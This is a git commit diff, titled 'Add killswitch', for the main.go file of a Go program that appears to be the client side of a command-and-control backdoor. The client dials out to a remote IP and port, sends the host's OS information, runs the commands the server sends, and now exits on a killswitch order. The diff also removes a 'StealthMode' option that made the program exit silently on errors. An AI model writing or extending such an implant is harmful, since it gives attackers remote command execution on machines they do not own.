Add killswitch

This commit is contained in:
raul 2024-06-07 10:00:09 +02:00
parent d335d9c20c
commit 43d719c991
1 changed files with 11 additions and 21 deletions

18
main.go
View File

@ -26,6 +26,7 @@ type Client struct {
type Instructions struct { type Instructions struct {
IsHeartbeat bool IsHeartbeat bool
IsCommand bool IsCommand bool
IsKillswitch bool
Message string Message string
} }
@ -35,37 +36,24 @@ type Response struct {
} }
var ( var (
StealthMode bool = false RemoteIP = "192.168.1.181"
RemoteIP = "127.0.0.1"
RemotePort = "1302" RemotePort = "1302"
) )
func main() { func main() {
conn, err := net.Dial("tcp", RemoteIP+":"+RemotePort) conn, err := net.Dial("tcp", RemoteIP+":"+RemotePort)
if err != nil { if err != nil {
if StealthMode == true {
os.Exit(0)
} else {
log.Fatalf("Error happened connecting to server: %v\n", err) log.Fatalf("Error happened connecting to server: %v\n", err)
} }
}
defer conn.Close() defer conn.Close()
if err := sendOSInfo(conn); err != nil { if err := sendOSInfo(conn); err != nil {
if StealthMode == true {
os.Exit(0)
} else {
log.Fatal(err) log.Fatal(err)
} }
}
for { for {
if err := awaitInstructions(conn); err != nil { if err := awaitInstructions(conn); err != nil {
if StealthMode == true {
os.Exit(0)
} else {
log.Fatalf("Error happened awaiting instructions: %v\n", err) log.Fatalf("Error happened awaiting instructions: %v\n", err)
} }
} }
}
} }
func getIP() (string, error) { func getIP() (string, error) {
@ -138,6 +126,8 @@ func awaitInstructions(conn net.Conn) error {
case inst.IsCommand == true: case inst.IsCommand == true:
executeCommand(conn, inst.Message) executeCommand(conn, inst.Message)
/////////////////////////////// ///////////////////////////////
case inst.IsKillswitch == true:
os.Exit(0)
default: default:
sendMessage(Response{Successful: false, Message: "Unknown order!"}, conn) sendMessage(Response{Successful: false, Message: "Unknown order!"}, conn)
} }